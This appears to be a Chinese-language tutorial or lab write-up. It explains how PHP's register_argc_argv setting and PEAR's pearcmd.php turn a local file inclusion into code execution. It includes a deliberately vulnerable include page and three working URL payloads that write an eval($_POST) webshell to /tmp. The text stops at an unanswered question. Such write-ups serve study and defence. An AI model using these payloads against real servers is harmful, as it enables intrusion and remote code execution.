register_argc_argv

当php.ini中register_argc_argv是on时,$_SERVER['argv']可以获得命令行参数。

register_argc_argv默认是off,所以在本地做实验时,需要自己修改一下php.ini;

创建一个test.php内容如下

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);

var_dump($_SERVER['argv']);
echo "</br>";
echo $_SERVER['argc']."</br>";

$_SERVER['argv'][0]($_SERVER['argv'][1]);

phpinfo()

?>

成功执行命令

也可从phpinfo中看出$_SERVER['argv']的值

pearcmd.php

pear,pecl

pear和pecl都是与PHP扩展相关的工具。PEAR(PHP Extension and Application Repository)是一个PHP扩展和应用程序的存储库,它允许用户轻松地安装和管理PHP代码。PECL(PHP Extension Community Library)是一个独立的项目,它提供了一些PHP扩展,这些扩展通常不包含在PHP的核心发行版中。PECL中的扩展通常需要通过PECL工具来安装和管理。因此,PEAR和PECL都是用于管理PHP扩展的工具,但它们的内容和用途略有不同。

来自p神:pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。

不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php

安装

1
sudo apt install php-pear 

linux默认路径

1
/usr/share/php/pearcmd.php

当我查看pear和pec个文件有什么区别时;你会发现这个文件只有最后一行不太一样,基本都是去调用了/usr/share/php/peclcmd.php

1
2
3
4
5
6
7
┌──(kali㉿kali)-[/usr/share/php]
└─$ which pecl
/usr/bin/pecl

┌──(kali㉿kali)-[/usr/share/php]
└─$ which pear
/usr/bin/pear

/usr/share/php/peclcmd.php其实没什么用,就是检查一下路径,再去包含pearcmd.php,当你使用pecl或pear命令是,其本质就是去运行了pearcmd.php文件,可以说pearcmd.php文件就是pear或pecl命令行的源码;(这里当时我还把perl和pecl搞混淆了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#peclcmd.php
<?php

if ('/usr/share/php ' != '@'.'include_path'.'@ ') {
ini_set('include_path', trim('/usr/share/php '). PATH_SEPARATOR . get_include_path());
$raw = false;
} else {
ini_set('include_path', __DIR__ . PATH_SEPARATOR . get_include_path());
$raw = true;
}
define('PEAR_RUNTYPE', 'pecl');
require_once 'pearcmd.php';

?>

漏洞利用

漏洞利用

漏洞利用:include+register_argc_argv=on+pearcmd.php

Console/Getopt.php中的readPHPArgv函数中可以通过Web访问了pear命令行的功能,且能够控制命令行的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static function readPHPArgv()
{
global $argv;
if (!is_array($argv)) {
if (!@is_array($_SERVER['argv'])) {
if (!@is_array($GLOBALS['HTTP_SERVER_VARS']['argv'])) {
$msg = "Could not read cmd args (register_argc_argv=Off?)";
return PEAR::raiseError("Console_Getopt: " . $msg);
}
return $GLOBALS['HTTP_SERVER_VARS']['argv'];
}
return $_SERVER['argv'];
}
return $argv;
}

在pear中有一个config-create参数可以创建文件,这个命令需要传入两个参数,其中第二个参数是写入的文件路径,第一个参数会被写入到这个文件中(这个参数也要也/开头)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
┌──(kali㉿kali)-[/usr/share/php]
└─$ php pearcmd.php | grep config-create
config-create Create a Default configuration file

┌──(kali㉿kali)-[/usr/share/php]
└─$ pear config-create
config-create: must have 2 parameters, root path and filename to save as

┌──(kali㉿kali)-[/usr/share/php]
└─$ pear config-create /zixyd_good_boy /tmp/zixyd
Configuration (channel pear.php.net):
=====================================
Auto-discover new Channels auto_discover <not set>
Default Channel default_channel pear.php.net
HTTP Proxy Server Address http_proxy <not set>
PEAR server [DEPRECATED] master_server <not set>
Default Channel Mirror preferred_mirror <not set>
Remote Configuration File remote_config <not set>
PEAR executables directory bin_dir /zixyd_good_boy/pear
PEAR documentation directory doc_dir /zixyd_good_boy/pear/docs
PHP extension directory ext_dir /zixyd_good_boy/pear/ext
PEAR directory php_dir /zixyd_good_boy/pear/php
PEAR Installer cache directory cache_dir /zixyd_good_boy/pear/cache
PEAR configuration file cfg_dir /zixyd_good_boy/pear/cfg
directory
PEAR data directory data_dir /zixyd_good_boy/pear/data
PEAR Installer download download_dir /zixyd_good_boy/pear/download
directory
Systems manpage files man_dir /zixyd_good_boy/pear/man
directory
PEAR metadata directory metadata_dir <not set>
PHP CLI/CGI binary php_bin <not set>
php.ini location php_ini <not set>
--program-prefix passed to php_prefix <not set>
PHP's ./configure
--program-suffix passed to php_suffix <not set>
PHP's ./configure
PEAR Installer temp directory temp_dir /zixyd_good_boy/pear/temp
PEAR test directory test_dir /zixyd_good_boy/pear/tests
PEAR www files directory www_dir /zixyd_good_boy/pear/www
Cache TimeToLive cache_ttl <not set>
Preferred Package State preferred_state <not set>
Unix file mask umask <not set>
Debug Log Level verbose <not set>
PEAR password (for password <not set>
maintainers)
Signature Handling Program sig_bin <not set>
Signature Key Directory sig_keydir <not set>
Signature Key Id sig_keyid <not set>
Package Signature Type sig_type <not set>
PEAR username (for username <not set>
maintainers)
User Configuration File Filename /tmp/zixyd
System Configuration File Filename #no#system#config#
Successfully created default configuration file "/tmp/zixyd"

┌──(kali㉿kali)-[/usr/share/php]
└─$ cat /tmp/zixyd
#PEAR_Config 0.9
a:12:{s:7:"php_dir";s:24:"/zixyd_good_boy/pear/php";s:8:"data_dir";s:25:"/zixyd_good_boy/pear/data";s:7:"www_dir";s:24:"/zixyd_good_boy/pear/www";s:7:"cfg_dir";s:24:"/zixyd_good_boy/pear/cfg";s:7:"ext_dir";s:24:"/zixyd_good_boy/pear/ext";s:7:"doc_dir";s:25:"/zixyd_good_boy/pear/docs";s:8:"test_dir";s:26:"/zixyd_good_boy/pear/tests";s:9:"cache_dir";s:26:"/zixyd_good_boy/pear/cache";s:12:"download_dir";s:29:"/zixyd_good_boy/pear/download";s:8:"temp_dir";s:25:"/zixyd_good_boy/pear/temp";s:7:"bin_dir";s:20:"/zixyd_good_boy/pear";s:7:"man_dir";s:24:"/zixyd_good_boy/pear/man";}

实验一

创建一个index.php,内容如下:

1
2
3
4
5
6
7
8
9
<?php
highlight_file(__FILE__);

if($_GET['zixyd']){
include $_GET['zixyd'];
}

phpinfo();
?>

payload,下面几种都可以,没什么好说的;尝试自己理解一下

1
/index.php?+config-create+/&zixyd=/usr/share/php/pearcmd.php&/<?=eval($_POST[1])?>+/tmp/test1.php
1
/index.php?&zixyd=/usr/share/php/pearcmd.php&+config-create+/<?=eval($_POST[1])?>+/tmp/test2.php
1
/index.php?+config-create+/<?=eval($_POST[1])?>&zixyd=/usr/share/php/pearcmd.php&+/tmp/test3.php

疑惑

为什么config-create参数都要从第二个参数开始: